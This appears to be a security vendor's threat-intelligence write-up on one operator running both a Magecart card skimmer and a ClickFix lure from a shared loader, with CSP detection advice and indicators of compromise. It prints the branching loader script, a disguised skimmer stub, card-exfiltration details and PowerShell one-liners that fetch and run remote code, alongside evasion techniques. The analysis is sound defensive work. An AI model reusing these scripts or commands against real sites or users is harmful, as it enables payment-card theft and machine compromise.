One loader, two attacks: a Magecart and ClickFix operator sharing infrastructure
Most of the client-side attacks we track generally do one thing. A skimmer skims, or a ClickFix lure talks someone into pasting a command. They come from different operators, they use different infrastructure, and we list them separately in our Threat Intelligence feeds.
This one does both, from the same loader, and decides which on the fly.
This investigation all started when I noticed on another security vendor's feed that the operator had moved its EtherHiding contract onto Polygon. That was focused on the ClickFix side, and that was all of it, but I pulled the loader myself to see what else it was serving. That handed me birth273.clinic: a domain that had been sitting on our 'Suspicious' list since 23 June, flagged two days after it first appeared in customer CSP reports, back when it was still parked and doing nothing at all. That's the link this post is about, the Magecart skimmer and the ClickFix lure are one operator, running off one loader, which is quite unusual.
I spent a morning walking the whole thing end to end, and I have every stage: the loader, the skimmer, the fake payment form, the lure, the PowerShell, and the executable at the bottom. The domains are on our IoC list as of today and are flagged by our Threat Intelligence product. Here's how it works, and, the part I care about most, which bits of it your CSP reports would have shown you.
The fork
The entry point is embed.hmtgang.top. It answers every request with 510 bytes of JavaScript, and it looks at your Referer when it does:
function afterLoaded(){
var asad = document.location.href;
var s = document.createElement('script');
s.src = '//birth273.clinic/fetch.php?tracker=' + 'embed.hmtgang.top'
+ '&site=' + btoa(asad);
document.getElementsByTagName('head')[0].appendChild(s);
}
That tracker= value is the site that referred you. With no Referer it says noref. So the operator knows, before deciding what to send, which compromised site you came from and what page you're on, with the full URL, base64'd, in site=.
The branch is decided by the Referer, by which compromised site you arrived from, not by which page you're on. Referrers the operator has marked as stores get the Magecart branch. Everything else gets the ClickFix lure.

The page you're on matters too, but that's a second gate, further down the Magecart branch, and it's checked in the browser rather than on the server. I'll come to it later on.
The Magecart half
The skimmer hosts are gm23518655.business278.gold and pu27951939.plow736.cfd. Those random-looking labels in front are per-victim; the registrable domain is consistent.
Ask either of them for anything without a valid victim Referer and you get a 302 to https://www.jsdelivr.com/, a redirect to jsDelivr's actual homepage. Getting the skimmer out took one more step than I expected, and the step is the interesting bit. The loader doesn't decide from the URL you ask for, it decides from your Referer. I walked a list of known-compromised stores through it as referrers, and six of them got the standard 510-byte ClickFix loader. One got something else entirely, 376 bytes:
(function(b,n,z,a,c,m,v,e){
a['GoogleAnalyticsObjects']=z;
c=v.createElement(e), m=v.getElementsByTagName(e)[0];
if(n.href.match(new RegExp(atob(z)))){ c.async=1; c.src='//'+a.atob(b);
m.parentNode.insertBefore(c,m) }
})('cHUyNzk1MTkzOS5wbG93NzM2LmNmZC8xMTQ0NDEvc3RhdC5waHA=', window.location,
'Y2hlY2tvd'+'Q==', window, '//www.google-analytics.com/analytics.js',
'uq', document, 'script');It's designed to look like a Google Analytics snippet so you'd scroll right past. It sets GoogleAnalyticsObjects, it has an analytics.js URL sitting in the argument list, but that's a URL that's never used, it's just a distraction.
The two base64 strings are the whole attack:
atob(z)ischeckou— a regex tested againstwindow.location.hrefatob(b)ispu27951939.plow736.cfd/114441/stat.php
So the skimmer only loads on a URL containing checkou, you can browse the whole shop and nothing happens. That's why it's probably still up, it fires on a page that's difficult to simply crawl as it requires items in your cart. This is the second gate.
| Gate | Where it runs | What it decides | |
|---|---|---|---|
| 1 | Referer is a known compromised store |
Server, at embed.hmtgang.top |
Magecart branch or ClickFix branch |
| 2 | location.href matches checkou |
Browser, inside the 376-byte payload | Whether stat.php loads at all |
Both of these have to pass. A checkout URL with the wrong Referer gets the ClickFix loader; a store's home page with the right Referer gets the 376 bytes and then nothing. That combination is probably why this sat unreported for as long as it did, the obvious way to test a suspicious host, fetching it directly in a browser, fails both gates at once.
stat.php is 16,854 bytes of obfuscator.io output, rotated string array, the works. Unwound, it does something more careful than reading the site's own card fields:
- It builds its own payment form and injects it as an iframe from
pu27951939.plow736.cfd/114441/iframe.php. - It hides the real submit button and inserts its own:
<a>styledbtn btn-primary, reading "SUBMIT ORDER AND MAKE PAYMENT",id="quick-checkout-button-confirm2". - On click it sweeps every
input,selectandtextareaon the page, skippinghiddenfields, and joins the values with|||. - That gets base64'd, then run through a hand-rolled character-substitution cipher over
A-Za-z0-9, andPOSTed asinfo=topu27951939.plow736.cfd/114441/track.phpwith aContent-typeofapplication/x-www-form-urlencoded, that header string is itself base64'd in the source. - It sets a
PHP_SIDcookie holding the base64 of what it already sent, withmax-age=5600, so the same victim isn't double-reported.
Here's the form it injects, it's pretty basic and the styling is a little off, but set in the context of the parent page, I guess it looks convincing enough...

Card Number, expiration date, and security code. Three fields, and styling that's probably deliberately plain enough to pass on almost any checkout page it's injected in to. Because it's an iframe served by the attacker, the victim site's own scripts can't see what's typed into it, and neither can any integrity check on the site's own JavaScript, because the site's JavaScript is untouched.
The ClickFix half, and where it hides its C2
This is the interesting one. The injected page script doesn't contain its C2 address. It contains a smart contract address and a list of eight public Polygon RPC endpoints:
var _chozs = "0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2";
var _jlvpw = "b68d1809";
// eth_call the contract across rpc-mainnet.matic.quiknode.pro,
// polygon.drpc.org, 1rpc.io/matic, rpc.ankr.com/polygon, ...
Call that contract and it hands back a string: https://fingerprint-verification.info. That's EtherHiding, and the C2 address lives in a blockchain read, so there's no domain to seize and no server to take down between the victim and the configuration. The operator rewrites one storage slot and every infected site points somewhere new, with no need to touch any of the compromised sites again.
I've seen this on BNB Smart Chain testnet before. This one moved to Polygon mainnet. Same idea, more respectable-looking RPC providers.
The payload it fetches is about 125KB, wrapped in two layers: a numeric array XORed with one byte, base64-decoded, XORed with another, then handed to new Function. Underneath is a fake Cloudflare interstitial, and it's assembled from two nested pieces. On the compromised page, the injected script builds a full-screen overlay iframe, __fpEmbeds, position:fixed; inset:0; z-index:2147483186, titled "Security check", pointed at one of the fallback hosts, cloudflare-check.net or clickzona.net. Inside that frame sits the lure itself. It's the outer overlay that shows up in frame-src; you never see the inner document's markup from the parent page at all.

Testing it out on another site, once you click to confirm you're not a robot:

They're even helpful enough to give you a tooltip to find the windows key if you're struggling!

This is not written for people who know what a Run box is and probably wouldn't realise the impact of completing this task.
Four stages of PowerShell, each one avoiding something
What lands on the clipboard:
powershell -w h "iex(irm 'fingerprint-verification.info/<16-hex>'); Start-Sleep -Seconds 24"; exit
An earlier variant of the same campaign is worth showing side by side:
powershell -c "$a=irm '<host>/<path>';$o=[pscustomobject]@{v=1};
$o|Add-Member ScriptProperty p ([ScriptBlock]::Create($a));$o.p|Out-Null"
No iex. No Invoke-Expression. It hangs the downloaded script off a ScriptProperty and runs it by reading the property. Everything that greps command lines for the obvious strings sees a variable assignment.
After that it gets fussy about who's asking:
- That 16-hex path is served over HTTPS, to a PowerShell user agent. It rotates on every single request to
api.php, so a path you captured five minutes ago is already a 404. - It rebuilds the same path as plain HTTP with
?_=1and fetches it through aWinHttp.WinHttpRequest.5.1COM object. Note what the script doesn't do: it never callsSetRequestHeader, so the COM object sends its own built-in default,Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5), and that is the string the server is allow-listing. Ask for the same URL with noUser-Agentat all and you get a 404. That's the sandbox filter, and it's the step that quietly defeats a naïvecurl. - That returns the real loader: sleep 18 seconds, then download.
Note what changes between steps 1 and 2: same host, same path, but the scheme drops from HTTPS to HTTP and the client changes from PowerShell to a COM object. Two different fetchers, two different profiles the server can check, and it checks both.
Every artefact URL is one-shot per source IP. Fetch it twice and the second attempt is a 410 Gone. If you're pulling these apart yourself, write the body to disk on first touch, don't HEAD it first to see how big it is, because that burns the grant and you'll get nothing.
The 790MB executable
The final loader pulls down two files: a legitimate 7-Zip console binary, and a password-protected archive (002700). It extracts WMIsave.exe, runs it, deletes the archive, then beacons back to confirm the install.
The archive is 8MB. The file inside it is 827,985,920 bytes.
The last non-zero byte is at 7.9MB. The other 782MB (99% of the file) is nulls. It compresses to nothing, so it costs the operator no bandwidth, and it puts the file over the size ceiling of essentially every automated scanner it will likely meet, including the 650MB limit on the obvious public one.
Underneath the padding it's a UPX-packed, NativeAOT-compiled .NET binary. NativeAOT is a nice touch: there's no IL metadata to decompile and no embedded assembly to carve out, because the .NET was compiled to native code. Imports are CRYPT32, bcrypt, ncrypt, WS2_32 and IPHLPAPI.
And it carries a Polygon RPC endpoint and a JSON-RPC request structure of its own. The implant resolves its C2 through the blockchain too. Same trick at both layers: in the browser, and then again on the host. Take the domain, take the server, and the operator still hasn't lost the estate.
What your reports would have shown you
ClickFix is an attack class that we're not specialised in handling, we're a client-side security platform designed to help our customers protect their own websites. The final step of a ClickFix attack happens in a Run box, and no browser control reaches into a terminal. If the victim pastes and presses Enter, the machine is now compromised, and your CSP can't help there.
But the browser does three things first, and all three are visible:
The injection is an inline script. On the compromised WordPress site I pulled this from, the loaders sit in <script> blocks in the page body. A script-src policy on nonces or hashes reports it, and in enforcing mode, refuses to run it. That's the whole chain stopped at step one and your customers are protected.
The lure is an iframe. position:fixed; inset:0; z-index:2147483186, pointed at a host you've never authorised. That's frame-src, and a report naming an unfamiliar host in frame-src on a page with no third-party UI is not noise and you'd be alerted by Frame Watch.
The C2 lookup is a cross-origin request. Those eth_calls go out over XHR to public RPC endpoints. That's connect-src, and it's the one people miss. If your checkout page starts talking to polygon.drpc.org, something has gone very wrong, and you don't need to know what EtherHiding is to know that. Data Watch would be able to tell you this is happening.
Report-Only mode in CSP gets you all three, you don't even have to be enforcing to find out.
The reason this matters more than usual: the write-ups on ClickFix are almost entirely endpoint-focused, ASR rules, clipboard monitoring, PowerShell logging. All useful, all downstream of a browser that already ran attacker code on your page. Four things have to happen before that machine is lost: the injection, the lure, the C2 lookup, and the paste. Three of them are in the browser.
Indicators of Compromise
Listed as subtrees, not hosts — the loader mints a fresh label per victim, so captured hostnames go stale at the next rotation.
| Host | Role | Status |
|---|---|---|
*.hmtgang.top |
Branching loader (embed.) |
Live |
*.birth273.clinic |
Magecart stage 2 (fetch.php) — on our Suspicious list since 23 Jun |
Live |
*.business278.gold |
Skimmer host, cloaks to jsDelivr | Live |
*.plow736.cfd |
Skimmer host, cloaks to jsDelivr | Live |
*.fingerprint-verification.info |
ClickFix C2, all four stages | Live |
*.clickzona.net |
Lure overlay fallback | Live |
*.cloudflare-check.net |
Lure overlay fallback | Dead |
*.spielportal.com |
Earlier stage-3 host | Suspended |
*.norediam.com |
Injected alongside the loaders | Dead |
*.awards2today.top |
fetch()+eval() loader, same victims |
Dead |
| Skimmer URL | Role |
|---|---|
pu27951939.plow736.cfd/114441/stat.php |
Skimmer, gated on checkou in the URL |
pu27951939.plow736.cfd/114441/iframe.php |
Fake card form injected as an iframe |
pu27951939.plow736.cfd/114441/track.php |
Card-data exfil, POST info= |
| Address | Role |
|---|---|
178.16.52.101 |
fingerprint-verification.info |
65.21.18.60 |
Lure fallback, hardcoded in the loader |
94.26.90.126 |
Lure fallback, hardcoded in the loader |
| Artefact | Value |
|---|---|
| Polygon contract | 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2 |
| Contract admin | 0xcaf2c54e400437da717cf215181b170f65187abf |
| Getter selectors | b68d1809, e096a091 |
| 7-Zip extractor | 55c967701f1fe8683de2cfd13ff6c84b37ba97d702e7138e6a895fc4c73fdb02 |
| Archive password | 002700 |
WMIsave.exe as dropped |
d3fc5ed15a97063e804664d5f379bb7454d103b4defa9ac9e788f1eaa922a675 |
WMIsave.exe padding trimmed |
73e0705917965559ae19563a4cb4a55acdab5c92919b6804bb39785033c49eae |
| UPX-unpacked | 621ca7ae76305cb68cf9d164f2677cd39c8a3f1c1ba17adf2a4bf992e498878f |
The dead domains have remained on the list as this operator rotates domains rather than paths, and a lapsed name can be re-registered again later.